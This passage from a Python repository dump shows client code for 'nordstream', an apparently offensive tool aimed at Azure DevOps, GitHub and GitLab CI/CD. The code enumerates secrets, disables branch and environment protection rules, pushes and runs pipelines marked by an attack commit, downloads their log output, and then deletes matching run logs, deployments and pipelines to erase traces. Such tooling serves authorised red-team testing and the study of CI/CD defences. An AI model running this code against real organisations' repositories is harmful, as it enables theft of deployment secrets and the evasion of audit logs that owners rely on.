files.\")\n\n        response = response.json()\n\n        res = []\n\n        if response[\"count\"]:\n            for secureFile in response[\"value\"]:\n                res.append({\"name\": secureFile[\"name\"], \"id\": secureFile[\"id\"]})\n        return res\n\n    def authorizePipelineForResourceAccess(self, projectId, pipelineId, resource, resourceType):\n        resourceId = resource[\"id\"]\n\n        logger.debug(f\"Checking current pipeline permissions for: \\\"{resource['name']}\\\"\")\n        response = self._session.get(\n            f\"{self._baseURL}/{projectId}/_apis/pipelines/pipelinePermissions/{resourceType}/{resourceId}\",\n        ).json()\n\n        allPipelines = response.get(\"allPipelines\")\n        if allPipelines and allPipelines.get(\"authorized\"):\n            return True\n\n        for pipeline in response.get(\"pipelines\"):\n            if pipeline.get(\"id\") == pipelineId:\n                return True\n\n        logger.debug(f\"\\\"{resource['name']}\\\" has restricted permissions. Adding access permissions for the pipeline\")\n        response = self._session.patch(\n            f\"{self._baseURL}/{projectId}/_apis/pipelines/pipelinePermissions/{resourceType}/{resourceId}\",\n            json={\"pipelines\": [{\"id\": pipelineId, \"authorized\": True}]},\n        )\n\n        if response.status_code != 200:\n            logger.error(f\"Error: unable to give the custom pipeline access to {resourceType}: \\\"{resource['name']}\\\"\")\n            return False\n        return True\n\n    def createGit(self, project):\n        logger.debug(f\"Creating git repo for: {project}\")\n        data = {\"name\": self._repoName, \"project\": {\"id\": project}}\n        response = self._session.post(\n            f\"{self._baseURL}/{project}/_apis/git/repositories\",\n            json=data,\n        ).json()\n\n        return response\n\n    def deleteGit(self, project, repoId):\n        logger.debug(f\"Deleting git repo for: {project}\")\n        response = self._session.delete(\n            f\"{self._baseURL}/{project}/_apis/git/repositories/{repoId}\",\n        )\n        return response.status_code == 204\n\n    def createPipeline(self, project, repoId, path):\n        logger.debug(\"Creating pipeline\")\n        data = {\n            \"folder\": None,\n            \"name\": self._pipelineName,\n            \"configuration\": {\n                \"type\": \"yaml\",\n                \"path\": path,\n                \"repository\": {\n                    \"id\": repoId,\n                    \"type\": \"azureReposGit\",\n                    \"defaultBranch\": self._branchName,\n                },\n            },\n        }\n        response = self._session.post(\n            f\"{self._baseURL}/{project}/_apis/pipelines\",\n            json=data,\n        ).json()\n        pipeline_id = response.get(\"id\")\n\n        if self._defaultAgentPool:\n            logger.debug(\"Setting default agent pool\")\n            # Retrieve project queues, not organization pools, for Default agent pool\n            queues_url = f\"{self._baseURL}/{project}/_apis/distributedtask/queues\"\n            response = self._session.get(queues_url)\n            queues = response.json()\n            \n            queue_id = None\n            queue_name = None\n            for queue in queues['value']:\n                if queue['pool']['name'] == self._defaultAgentPool:\n                    queue_id = queue['id']\n                    queue_name = queue['name']\n                    logger.info(f\"Queue found : {queue_name} (Queue ID: {queue_id}, Pool ID: {queue['pool']['id']})\")\n                    break\n            \n            if not queue_id:\n                logger.error(f\"Queue {self._defaultAgentPool} not found for default agent pool, or not accessible by the project. Not updating\")\n                return pipeline_id\n\n            # Update pipeline Default agent with specified queue, via the definitions API \n            update_url = f\"{self._baseURL}/{project}/_apis/build/definitions/{pipeline_id}\"\n\n            response = self._session.get(update_url)\n            definition = response.json()\n\n            # Add default pool agent with queue\n            definition['queue'] = {\n                'id': queue_id,\n                'name': queue_name\n            }\n\n            response = self._session.put(update_url, json=definition)\n        \n        return pipeline_id\n\n    def runPipeline(self, project, pipelineId):\n        logger.debug(f\"Running pipeline: {pipelineId}\")\n        params = {\n            \"definition\": {\"id\": pipelineId},\n            \"sourceBranch\": f\"refs/heads/{self._branchName}\",\n        }\n\n        response = self._session.post(\n            f\"{self._baseURL}/{project}/_apis/build/Builds\",\n            json=params,\n        ).json()\n\n        return response\n\n    def __getBuilds(self, project):\n        logger.debug(f\"Getting builds.\")\n\n        return (\n            self._session.get(\n                f\"{self._baseURL}/{project}/_apis/build/Builds\",\n            )\n            .json()\n            .get(\"value\")\n        )\n\n    def __getBuildSources(self, project, buildId):\n\n        return self._session.get(\n            f\"{self._baseURL}/{project}/_apis/build/Builds/{buildId}/sources\",\n        ).json()\n\n    def getRunId(self, project, pipelineId):\n        logger.debug(f\"Getting RunId for pipeline: {pipelineId}\")\n\n        for i in range(self._maxRetry):\n\n            # Don't wait first time\n            if i != 0:\n                logger.warning(f\"Run not available, sleeping for {self._sleepTime}s\")\n                time.sleep(self._sleepTime)\n\n            for build in self.__getBuilds(project):\n\n                if build.get(\"definition\").get(\"id\") == pipelineId:\n\n                    buildId = build.get(\"id\")\n                    buildSource = self.__getBuildSources(project, buildId)\n\n                    if (\n                        buildSource.get(\"comment\") == Git.ATTACK_COMMIT_MSG\n                        and buildSource.get(\"author\").get(\"email\") == Git.EMAIL\n                    ):\n                        return buildId\n\n            if i == (self._maxRetry):\n                logger.error(\"Error: run still not ready.\")\n\n        return None\n\n    def waitPipeline(self, project, pipelineId, runId):\n        logger.info(\"Getting pipeline output\")\n\n        for i in range(self._maxRetry):\n\n            if i != 0:\n                logger.warning(f\"Pipeline still running, sleeping for {self._sleepTime}s\")\n                time.sleep(self._sleepTime)\n\n            response = self._session.get(\n                f\"{self._baseURL}/{project}/_apis/pipelines/{pipelineId}/runs/{runId}\",\n                json={},\n            ).json()\n\n            if response.get(\"state\") == \"completed\":\n                return response.get(\"result\")\n            if i == (self._maxRetry - 1):\n                logger.error(\"Error: pipeline still not finished.\")\n\n        return None\n\n    def __createPipelineOutputDir(self, projectName):\n        makedirs(f\"{self._outputDir}/{self._org}/{projectName}\", exist_ok=True)\n\n    def downloadPipelineOutput(self, projectId, runId):\n        self.__createPipelineOutputDir(projectId)\n\n        for i in range(self._maxRetry):\n\n            if i != 0:\n                logger.warning(f\"Output not ready, sleeping for {self._sleepTime}s\")\n                time.sleep(self._sleepTime)\n\n            buildTimeline = self._session.get(\n                f\"{self._baseURL}/{projectId}/_apis/build/builds/{runId}/timeline\",\n                json={},\n            ).json()\n\n            logs = [\n                record[\"log\"][\"id\"]\n                for record in buildTimeline[\"records\"]\n                if record[\"name\"] == DevOpsPipelineGenerator.taskName\n            ]\n            if len(logs) != 0:\n                break\n\n            # if there are logs but we didn't find the taskName get the last\n            # job as it contain all data\n            if len(buildTimeline[\"records\"]) > 0:\n                logs = [buildTimeline[\"records\"][-1][\"log\"][\"id\"]]\n                break\n\n            if i == (self._maxRetry - 1):\n                logger.error(\"Output still no ready, error !\")\n                return None\n\n        logId = logs[0]\n\n        logger.debug(f\"Log ID of the extraction task: {logId}\")\n\n        for i in range(self._maxRetry):\n\n            if i != 0:\n                logger.warning(f\"Output not ready, sleeping for {self._sleepTime}s\")\n                time.sleep(self._sleepTime)\n\n            logOutput = self._session.get(\n                f\"{self._baseURL}/{projectId}/_apis/build/builds/{runId}/logs/{logId}\",\n                json={},\n            ).json()\n            if len(logOutput.get(\"value\")) != 0:\n                break\n            if i == (self._maxRetry - 1):\n                logger.error(\"Output still no ready, error !\")\n                return None\n\n        date = time.strftime(\"%Y-%m-%d_%H-%M-%S\")\n        with open(f\"{self._outputDir}/{self._org}/{projectId}/pipeline_{date}.log\", \"w\") as f:\n            for line in logOutput.get(\"value\"):\n                f.write(line + \"\\n\")\n        f.close()\n        return f\"pipeline_{date}.log\"\n\n    def __cleanRunLogs(self, projectId):\n        logger.verbose(\"Cleaning run logs.\")\n\n        builds = self.__getBuilds(projectId)\n\n        if len(builds) != 0:\n            for build in builds:\n\n                buildId = build.get(\"id\")\n                buildSource = self.__getBuildSources(projectId, buildId)\n\n                if (\n                    buildSource.get(\"comment\") == (Git.ATTACK_COMMIT_MSG or Git.CLEAN_COMMIT_MSG)\n                    and buildSource.get(\"author\").get(\"email\") == Git.EMAIL\n                ):\n                    return buildId\n\n                self._session.delete(\n                    f\"{self._baseURL}/{projectId}/_apis/build/builds/{buildId}\",\n                )\n\n    def __cleanPipeline(self, projectId):\n        logger.verbose(f\"Removing pipeline.\")\n\n        response = self._session.get(\n            f\"{self._baseURL}/{projectId}/_apis/pipelines\",\n        ).json()\n        if response.get(\"count\", 0) != 0:\n            for pipeline in response.get(\"value\"):\n                if pipeline.get(\"name\") == self._pipelineName:\n                    pipelineId = pipeline.get(\"id\")\n                    self._session.delete(\n                        f\"{self._baseURL}/{projectId}/_apis/pipelines/{pipelineId}\",\n                    )\n\n    def deletePipeline(self, projectId):\n        logger.debug(\"Deleting pipeline\")\n        response = self._session.get(\n            f\"{self._baseURL}/{projectId}/_apis/build/Definitions\",\n            json={},\n        ).json()\n        if response.get(\"count\", 0) != 0:\n            for pipeline in response.get(\"value\"):\n                if pipeline.get(\"name\") == self._pipelineName:\n                    definitionId = pipeline.get(\"id\")\n                    self._session.delete(\n                        f\"{self._baseURL}/{projectId}/_apis/build/definitions/{definitionId}\",\n                        json={},\n                    )\n\n    def cleanAllLogs(self, projectId):\n        self.__cleanRunLogs(projectId)\n\n    def listServiceConnections(self, projectId):\n        logger.debug(\"Listing service connections\")\n        res = []\n        response = self._session.get(\n            f\"{self._baseURL}/{projectId}/_apis/serviceendpoint/endpoints\",\n            json={},\n        )\n\n        if response.status_code != 200:\n            raise DevOpsError(\"Can't list service connections.\")\n\n        response = response.json()\n\n        if response.get(\"count\", 0) != 0:\n            res = response.get(\"value\")\n        return res\n\n    def getFailureReason(self, projectId, runId):\n        res = []\n\n        response = self._session.get(\n            f\"{self._baseURL}/{projectId}/_apis/build/builds/{runId}\",\n        ).json()\n        for result in response.get(\"validationResults\"):\n            res.append(result.get(\"message\"))\n\n        try:\n            timeline = self._session.get(\n                f\"{self._baseURL}/{projectId}/_apis/build/builds/{runId}/Timeline\",\n            ).json()\n            for record in timeline.get(\"records\", []):\n                if record.get(\"issues\"):\n                    for issue in record.get(\"issues\"):\n                        res.append(issue.get(\"message\"))\n        except:\n            pass\n        return res\n\n    @classmethod\n    def getOrgs(cls, token):\n        logger.verbose(f\"Listing orgs\")\n        if isAZDOBearerToken(token):\n            # https://github.com/zolderio/devops/blob/main/get_profile_org_repos.py\n            url = \"https://app.vssps.visualstudio.com/_apis/profile/profiles/me?api-version=7.1\"\n\n            # Headers with authentication and content type\n            headers = {\n                'Authorization': f'Bearer {token}',\n                'Content-Type': 'application/json'\n            }\n\n            response = requests.get(url, headers=headers)\n\n            # Check if request was successful\n            response.raise_for_status()\n            \n            # Parse and print the JSON response\n            data = response.json()\n            \n            # Get organizations URL from profile response\n            orgs_url = \"https://app.vssps.visualstudio.com/_apis/accounts?memberId={}?api-version=7.1\".format(data['id'])\n            \n            # Get organizations\n            orgs_response = requests.get(orgs_url, headers=headers)\n            orgs_response.raise_for_status()\n            \n            return orgs_response.json()\n        else:\n            raise DevOpsError(\"Only access token can be used for this operation.\")"
  },
  {
    "path": "nordstream/cicd/github.py",
    "content": "import requests\nimport time\nfrom os import makedirs\nimport urllib.parse\nfrom nordstream.utils.errors import GitHubError, GitHubBadCredentials\nfrom nordstream.utils.log import logger\nfrom nordstream.git import Git\nfrom nordstream.utils.constants import *\n\n\nclass GitHub:\n    _DEFAULT_BRANCH_NAME = DEFAULT_BRANCH_NAME\n    _token = None\n    _auth = None\n    _org = None\n    _githubLogin = None\n    _repos = []\n    _header = {\n        \"Accept\": \"application/vnd.github+json\",\n        \"User-Agent\": USER_AGENT,\n    }\n    _repoURL = \"https://api.github.com/repos\"\n    _session = None\n    _branchName = _DEFAULT_BRANCH_NAME\n    _outputDir = OUTPUT_DIR\n    _sleepTime = 15\n    _maxRetry = 10\n    _isGHSToken = False\n\n    def __init__(self, token):\n        self._token = token\n        self._auth = (\"foo\", self._token)\n        self._session = requests.Session()\n        if token.lower().startswith(\"ghs_\"):\n            self._isGHSToken = True\n\n        self._githubLogin = self.__getLogin()\n\n    @staticmethod\n    def checkToken(token):\n        logger.verbose(f\"Checking token: {token}\")\n\n        headers = GitHub._header\n        headers[\"Authorization\"] = f\"token {token}\"\n\n        data = {\"query\": \"query UserCurrent{viewer{login}}\"}\n\n        return requests.post(\"https://api.github.com/graphql\", headers=headers, json=data).status_code == 200\n\n    @property\n    def token(self):\n        return self._token\n\n    @property\n    def org(self):\n        return self._org\n\n    @org.setter\n    def org(self, org):\n        self._org = org\n\n    @property\n    def defaultBranchName(self):\n        return self._DEFAULT_BRANCH_NAME\n\n    @property\n    def branchName(self):\n        return self._branchName\n\n    @branchName.setter\n    def branchName(self, value):\n        self._branchName = value\n\n    @property\n    def repos(self):\n        return self._repos\n\n    @property\n    def outputDir(self):\n        return self._outputDir\n\n    @outputDir.setter\n    def outputDir(self, value):\n        self._outputDir = value\n\n    def __getLogin(self):\n        return self.getLoginWithGraphQL().json().get(\"data\").get(\"viewer\").get(\"login\")\n\n    def getUser(self):\n        logger.debug(\"Retrieving user informations\")\n        return self._session.get(f\"https://api.github.com/user\", auth=self._auth, headers=self._header)\n\n    def getLoginWithGraphQL(self):\n        logger.debug(\"Retrieving identity with GraphQL\")\n\n        headers = self._header\n        headers[\"Authorization\"] = f\"token {self._token}\"\n\n        data = {\"query\": \"query UserCurrent{viewer{login}}\"}\n\n        return self._session.post(\"https://api.github.com/graphql\", headers=headers, json=data)\n\n    def __paginatedGet(self, url, data=\"\", maxData=0):\n\n        page = 1\n        res = []\n        while True:\n\n            params = {\"page\": page}\n\n            response = self._session.get(\n                url,\n                params=params,\n                auth=self._auth,\n                headers=self._header,\n            ).json()\n\n            if not isinstance(response, list) and response.get(\"message\", None):\n                if response.get(\"message\") == \"Bad credentials\":\n                    raise GitHubBadCredentials(response.get(\"message\"))\n                elif response.get(\"message\") != \"Not Found\":\n                    raise GitHubError(response.get(\"message\"))\n                return res\n\n            if (data != \"\" and len(response.get(data)) == 0) or (data == \"\" and len(response) == 0):\n                break\n\n            if data != \"\" and len(response.get(data)) != 0:\n                res.extend(response.get(data, []))\n\n            if data == \"\" and len(response) != 0:\n                res.extend(response)\n\n            if maxData != 0 and len(res) >= maxData:\n                break\n\n            page += 1\n\n        return res\n\n    def listRepos(self):\n        logger.debug(\"Listing repos\")\n\n        if self._isGHSToken:\n            url = f\"https://api.github.com/orgs/{self._org}/repos\"\n        else:\n            url = f\"https://api.github.com/user/repos\"\n\n        response = self.__paginatedGet(url)\n\n        for repo in response:\n            # filter for specific org\n            if self._org:\n                if self._org.lower() == repo.get(\"owner\").get(\"login\").lower():\n                    self._repos.append(repo.get(\"full_name\"))\n            else:\n                self._repos.append(repo.get(\"full_name\"))\n\n    def addRepo(self, repo):\n        logger.debug(f\"Checking repo: {repo}\")\n        if self._org:\n            full_name = self._org + \"/\" + repo\n        else:\n            # if no org, must provide repo as 'org/repo'\n            # FIXME: This cannot happen at the moment because --org argument is required\n            if len(repo.split(\"/\")) == 2:\n                full_name = repo\n            else:\n                # FIXME: Raise an Exception here\n                logger.error(\"Invalid repo name: {repo}\")\n\n        response = self._session.get(\n            f\"{self._repoURL}/{full_name}\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        if response.get(\"message\", None) and response.get(\"message\") == \"Bad credentials\":\n            raise GitHubBadCredentials(response.get(\"message\"))\n\n        if response.get(\"id\"):\n            self._repos.append(response.get(\"full_name\"))\n\n    def listEnvFromrepo(self, repo):\n        logger.debug(f\"Listing environment secret from repo: {repo}\")\n        res = []\n        response = self.__paginatedGet(f\"{self._repoURL}/{repo}/environments\", data=\"environments\")\n\n        for env in response:\n            res.append(env.get(\"name\"))\n        return res\n\n    def listSecretsFromEnv(self, repo, env):\n        logger.debug(f\"Getting environment secrets for {repo}: {env}\")\n        envReq = urllib.parse.quote(env, safe=\"\")\n        res = []\n\n        response = self.__paginatedGet(f\"{self._repoURL}/{repo}/environments/{envReq}/secrets\", data=\"secrets\")\n\n        for sec in response:\n            res.append(sec.get(\"name\"))\n\n        return res\n\n    def listSecretsFromRepo(self, repo):\n        res = []\n\n        response = self.__paginatedGet(f\"{self._repoURL}/{repo}/actions/secrets\", data=\"secrets\")\n\n        for sec in response:\n            res.append(sec.get(\"name\"))\n\n        return res\n\n    def listOrganizationSecretsFromRepo(self, repo):\n        res = []\n\n        response = self.__paginatedGet(f\"{self._repoURL}/{repo}/actions/organization-secrets\", data=\"secrets\")\n\n        for sec in response:\n            res.append(sec.get(\"name\"))\n\n        return res\n\n    def listDependabotSecretsFromRepo(self, repo):\n        res = []\n\n        response = self.__paginatedGet(f\"{self._repoURL}/{repo}/dependabot/secrets\", data=\"secrets\")\n\n        for sec in response:\n            res.append(sec.get(\"name\"))\n\n        return res\n\n    def listDependabotOrganizationSecrets(self):\n        res = []\n\n        response = self.__paginatedGet(f\"https://api.github.com/orgs/{self._org}/dependabot/secrets\", data=\"secrets\")\n\n        for sec in response:\n            res.append(sec.get(\"name\"))\n\n        return res\n\n    def listEnvProtections(self, repo, env):\n        logger.debug(\"Getting environment protections\")\n        envReq = urllib.parse.quote(env, safe=\"\")\n        res = []\n        response = self._session.get(\n            f\"{self._repoURL}/{repo}/environments/{envReq}\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        for protection in response.get(\"protection_rules\"):\n            protectionType = protection.get(\"type\")\n            res.append(protectionType)\n\n        return res\n\n    def getEnvDetails(self, repo, env):\n        envReq = urllib.parse.quote(env, safe=\"\")\n        response = self._session.get(\n            f\"{self._repoURL}/{repo}/environments/{envReq}\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        if response.get(\"message\"):\n            raise GitHubError(response.get(\"message\"))\n        return response\n\n    def createDeploymentBranchPolicy(self, repo, env):\n        envReq = urllib.parse.quote(env, safe=\"\")\n        logger.debug(f\"Adding new branch policy for {self._branchName} on {envReq}\")\n\n        data = {\"name\": f\"{self._branchName}\"}\n        response = self._session.post(\n            f\"{self._repoURL}/{repo}/environments/{envReq}/deployment-branch-policies\",\n            json=data,\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        if response.get(\"message\"):\n            raise GitHubError(response.get(\"message\"))\n\n        policyId = response.get(\"id\")\n        logger.debug(f\"Branch policy id: {policyId}\")\n        return policyId\n\n    def deleteDeploymentBranchPolicy(self, repo, env):\n        logger.debug(\"Delete deployment branch policy\")\n        envReq = urllib.parse.quote(env, safe=\"\")\n        response = self._session.get(\n            f\"{self._repoURL}/{repo}/environments/{envReq}\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        if response.get(\"deployment_branch_policy\") is not None:\n            response = self._session.get(\n                f\"{self._repoURL}/{repo}/environments/{envReq}/deployment-branch-policies\",\n                auth=self._auth,\n                headers=self._header,\n            ).json()\n\n            for policy in response.get(\"branch_policies\"):\n                if policy.get(\"name\").lower() == self._branchName.lower():\n                    logger.verbose(f\"Deleting branch policy for {self._branchName} on {envReq}\")\n                    policyId = policy.get(\"id\")\n                    self._session.delete(\n                        f\"{self._repoURL}/{repo}/environments/{envReq}/deployment-branch-policies/{policyId}\",\n                        auth=self._auth,\n                        headers=self._header,\n                    )\n\n    def disableBranchProtectionRules(self, repo):\n        logger.debug(\"Modifying branch protection\")\n        response = self._session.get(\n            f\"{self._repoURL}/{repo}/branches/{urllib.parse.quote(self._branchName)}\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        if response.get(\"name\") and response.get(\"protected\"):\n            data = {\n                \"required_status_checks\": None,\n                \"enforce_admins\": False,\n                \"required_pull_request_reviews\": None,\n                \"restrictions\": None,\n                \"allow_deletions\": True,\n                \"allow_force_pushes\": True,\n            }\n            self._session.put(\n                f\"{self._repoURL}/{repo}/branches/{urllib.parse.quote(self._branchName)}/protection\",\n                json=data,\n                auth=self._auth,\n                headers=self._header,\n            )\n\n    def modifyEnvProtectionRules(self, repo, env, wait, reviewers, branchPolicy):\n        data = {\n            \"wait_timer\": wait,\n            \"reviewers\": reviewers,\n            \"deployment_branch_policy\": branchPolicy,\n        }\n        envReq = urllib.parse.quote(env, safe=\"\")\n        response = self._session.put(\n            f\"{self._repoURL}/{repo}/environments/{envReq}\",\n            json=data,\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        if response.get(\"message\"):\n            raise GitHubError(response.get(\"message\"))\n        return response\n\n    def deleteDeploymentBranchPolicyForAllEnv(self, repo):\n        allEnv = self.listEnvFromrepo(repo)\n        for env in allEnv:\n            self.deleteDeploymentBranchPolicy(repo, env)\n\n    def checkBranchProtectionRules(self, repo):\n        response = self._session.get(\n            f\"{self._repoURL}/{repo}/branches/{urllib.parse.quote(self._branchName)}\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n        if response.get(\"message\"):\n            raise GitHubError(response.get(\"message\"))\n        return response.get(\"protected\")\n\n    def getBranchesProtectionRules(self, repo):\n        logger.debug(\"Getting branch protection rules\")\n        response = self._session.get(\n            f\"{self._repoURL}/{repo}/branches/{urllib.parse.quote(self._branchName)}/protection\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n        if response.get(\"message\"):\n            return None\n        return response\n\n    def updateBranchesProtectionRules(self, repo, protections):\n        logger.debug(\"Updating branch protection rules\")\n\n        response = self._session.put(\n            f\"{self._repoURL}/{repo}/branches/{urllib.parse.quote(self._branchName)}/protection\",\n            auth=self._auth,\n            headers=self._header,\n            json=protections,\n        ).json()\n\n        return response\n\n    def cleanDeploymentsLogs(self, repo):\n        logger.verbose(f\"Cleaning deployment logs from: {repo}\")\n        url = f\"{self._repoURL}/{repo}/deployments?ref={urllib.parse.quote(self._branchName)}\"\n        response = self.__paginatedGet(url, maxData=200)\n\n        for deployment in response:\n            if not self._isGHSToken and deployment.get(\"creator\").get(\"login\").lower() != self._githubLogin.lower():\n                continue\n\n            commit = self._session.get(\n                f\"{self._repoURL}/{repo}/commits/{deployment['sha']}\", auth=self._auth, headers=self._header\n            ).json()\n\n            # We want to delete only our action so we must filter some attributes\n            if commit[\"commit\"][\"message\"] not in [Git.ATTACK_COMMIT_MSG, Git.CLEAN_COMMIT_MSG]:\n                continue\n\n            if commit[\"commit\"][\"committer\"][\"name\"] != Git.USER:\n                continue\n\n            if commit[\"commit\"][\"committer\"][\"email\"] != Git.EMAIL:\n                continue\n\n            deploymentId = deployment.get(\"id\")\n            data = {\"state\": \"inactive\"}\n            self._session.post(\n                f\"{self._repoURL}/{repo}/deployments/{deploymentId}/statuses\",\n                json=data,\n                auth=self._auth,\n                headers=self._header,\n            )\n            self._session.delete(\n                f\"{self._repoURL}/{repo}/deployments/{deploymentId}\",\n                auth=self._auth,\n                headers=self._header,\n            )\n\n    def cleanRunLogs(self, repo, workflowFilename):\n        logger.verbose(f\"Cleaning run logs from: {repo}\")\n        url = f\"{self._repoURL}/{repo}/actions/runs?branch={urllib.parse.quote(self._branchName)}\"\n\n        if not self._isGHSToken:\n            url += f\"&actor={self._githubLogin.lower()}\"\n\n        # we dont scan for all the logs we only check the last 200\n        response = self.__paginatedGet(url, data=\"workflow_runs\", maxData=200)\n\n        for run in response:\n\n            # skip if it's not our commit\n            if run.get(\"head_commit\").get(\"message\") not in [Git.ATTACK_COMMIT_MSG, Git.CLEAN_COMMIT_MSG]:\n                continue\n\n            committer = run.get(\"head_commit\").get(\"committer\")\n            if committer.get(\"name\") != Git.USER:\n                continue\n\n            if committer.get(\"email\") != Git.EMAIL:\n                continue\n\n            runId = run.get(\"id\")\n            status = (\n                self._session.get(\n                    f\"{self._repoURL}/{repo}/actions/runs/{runId}\",\n                    json={},\n                    auth=self._auth,\n                    headers=self._header,\n                )\n                .json()\n                .get(\"status\")\n            )\n\n            if status != \"completed\":\n                self._session.post(\n                    f\"{self._repoURL}/{repo}/actions/runs/{runId}/cancel\",\n                    json={},\n                    auth=self._auth,\n                    headers=self._header,\n                )\n                status = (\n                    self._session.get(\n                        f\"{self._repoURL}/{repo}/actions/runs/{runId}\",\n                        json={},\n                        auth=self._auth,\n                        headers=self._header,\n                    )\n                    .json()\n                    .get(\"status\")\n                )\n                if status != \"completed\":\n                    for i in range(self._maxRetry):\n                        time.sleep(2)\n                        status = (\n                            self._session.get(\n                                f\"{self._repoURL}/{repo}/actions/runs/{runId}\",\n                                json={},\n                                auth=self._auth,\n                                headers=self._header,\n                            )\n                            .json()\n                            .get(\"status\")\n                        )\n                        if status == \"completed\":\n                            break\n\n            self._session.delete(\n                f\"{self._repoURL}/{repo}/actions/runs/{runId}/logs\",\n                auth=self._auth,\n                headers=self._header,\n            )\n            self._session.delete(\n                f\"{self._repoURL}/{repo}/actions/runs/{runId}\",\n                auth=self._auth,\n                headers=self._header,\n            )\n\n    def cleanAllLogs(self, repo, workflowFilename):\n        logger.debug(f\"Cleaning logs for: {repo}\")\n        self.cleanRunLogs(repo, workflowFilename)\n        self.cleanDeploymentsLogs(repo)\n\n    def createWorkflowOutputDir(self, repo):\n        outputName = repo.split(\"/\")\n        makedirs(f\"{self._outputDir}/{outputName[0]}/{outputName[1]}\", exist_ok=True)\n\n    def waitWorkflow(self, repo, workflowFilename):\n        logger.info(\"Getting workflow output\")\n\n        time.sleep(5)\n        workflowFilename = urllib.parse.quote_plus(workflowFilename)\n        response = self._session.get(\n            f\"{self._repoURL}/{repo}/actions/workflows/{workflowFilename}/runs?branch={urllib.parse.quote(self._branchName)}\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        if response.get(\"total_count\", 0) == 0:\n            for i in range(self._maxRetry):\n                logger.warning(f\"Workflow not started, sleeping for {self._sleepTime}s\")\n                time.sleep(self._sleepTime)\n                response = self._session.get(\n                    f\"{self._repoURL}/{repo}/actions/workflows/{workflowFilename}/runs?branch={urllib.parse.quote(self._branchName)}\",\n                    auth=self._auth,\n                    headers=self._header,\n                ).json()\n                if response.get(\"total_count\", 0) != 0:\n                    break\n                if i == (self._maxRetry - 1):\n                    logger.error(\"Error: workflow still not started.\")\n                    return None, None\n\n        if response.get(\"workflow_runs\")[0].get(\"status\") != \"completed\":\n            for i in range(self._maxRetry):\n                logger.warning(f\"Workflow not finished, sleeping for {self._sleepTime}s\")\n                time.sleep(self._sleepTime)\n                response = self._session.get(\n                    f\"{self._repoURL}/{repo}/actions/workflows/{workflowFilename}/runs?branch={urllib.parse.quote(self._branchName)}\",\n                    auth=self._auth,\n                    headers=self._header,\n                ).json()\n                if response.get(\"workflow_runs\")[0].get(\"status\") == \"completed\":\n                    break\n                if i == (self._maxRetry - 1):\n                    logger.error(\"Error: workflow still not finished.\")\n\n        return (\n            response.get(\"workflow_runs\")[0].get(\"id\"),\n            response.get(\"workflow_runs\")[0].get(\"conclusion\"),\n        )\n\n    def downloadWorkflowOutput(self, repo, name, workflowId):\n        self.createWorkflowOutputDir(repo)\n\n        zipFile = self._session.get(\n            f\"{self._repoURL}/{repo}/actions/runs/{workflowId}/logs\",\n            auth=self._auth,\n            headers=self._header,\n        )\n\n        date = time.strftime(\"%Y-%m-%d_%H-%M-%S\")\n        with open(f\"{self._outputDir}/{repo}/workflow_{name}_{date}.zip\", \"wb\") as f:\n            f.write(zipFile.content)\n        f.close()\n        return f\"workflow_{name}_{date}.zip\"\n\n    def getFailureReason(self, repo, workflowId):\n        res = []\n        workflow = self._session.get(\n            f\"{self._repoURL}/{repo}/actions/runs/{workflowId}\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n        checkSuiteId = workflow.get(\"check_suite_id\")\n        checkRuns = self._session.get(\n            f\"{self._repoURL}/{repo}/check-suites/{checkSuiteId}/check-runs\",\n            auth=self._auth,\n            headers=self._header,\n        ).json()\n\n        if checkRuns.get(\"total_count\"):\n            for checkRun in checkRuns.get(\"check_runs\"):\n                checkRunId = checkRun.get(\"id\")\n                annotations = self._session.get(\n                    f\"{self._repoURL}/{repo}/check-runs/{checkRunId}/annotations\",\n                    auth=self._auth,\n                    headers=self._header,\n                ).json()\n                for annotation in annotations:\n                    res.append(annotation.get(\"message\"))\n        return res\n\n    def filterWriteRepos(self):\n        res = []\n        for repo in self._repos:\n            try:\n                self.listSecretsFromRepo(repo)\n                res.append(repo)\n            except GitHubError:\n                pass\n        self._repos = res\n\n    def isGHSToken(self):\n        return self._isGHSToken\n"
  },
  {
    "path": "nordstream/cicd/gitlab.py",
    "content": "import requests\nimport time\nimport re\nimport sys\nfrom os import makedirs\nfrom nordstream.utils.log import logger\nfrom nordstream.utils.errors import GitLabError\nfrom nordstream.git import Git\nfrom nordstream.utils.constants import *\nfrom nordstream.utils.helpers import isGitLabSessionCookie\n\n# painful warnings you know what you are doing right ?\nrequests.packages.urllib3.disable_warnings()\n\n\nclass GitLab:\n    _DEFAULT_BRANCH_NAME = DEFAULT_BRANCH_NAME\n    _auth = None\n    _session = None\n    _token = None\n    _projects = []\n    _groups = []\n    _outputDir = OUTPUT_DIR\n    _headers = {\n        \"User-Agent\": USER_AGENT,\n    }\n    _cookies = {}\n    _gitlabURL = None\n    _branchName = _DEFAULT_BRANCH_NAME\n    _sleepTime = 15\n    _maxRetry = 10\n\n    def __init__(self, url, token, verifCert):\n        self._gitlabURL = url.strip(\"/\")\n        self._token = token\n        self._session = requests.Session()\n        self._session.verify = verifCert\n        self.setCookiesAndHeaders()\n        self._gitlabLogin = self.__getLogin()\n\n    @property\n    def projects(self):\n        return self._projects\n\n    @property\n    def groups(self):\n        return self._groups\n\n    @property\n    def token(self):\n        return self._token\n\n    @property\n    def url(self):\n        return self._gitlabURL\n\n    @property\n    def outputDir(self):\n        return self._outputDir\n\n    @outputDir.setter\n    def outputDir(self, value):\n        self._outputDir = value\n\n    @property\n    def defaultBranchName(self):\n        return self._DEFAULT_BRANCH_NAME\n\n    @property\n    def branchName(self):\n        return self._branchName\n\n    @branchName.setter\n    def branchName(self, value):\n        self._branchName = value\n\n    @classmethod\n    def checkToken(cls, token, gitlabURL, verifyCert):\n        logger.verbose(f\"Checking token: {token}\")\n        # from https://docs.gitlab.com/ee/api/rest/index.html#personalprojectgroup-access-tokens\n        try:\n            cookies = {}\n            headers = GitLab._headers\n\n            if isGitLabSessionCookie(token):\n                cookies[\"_gitlab_session\"] = token\n            else:\n                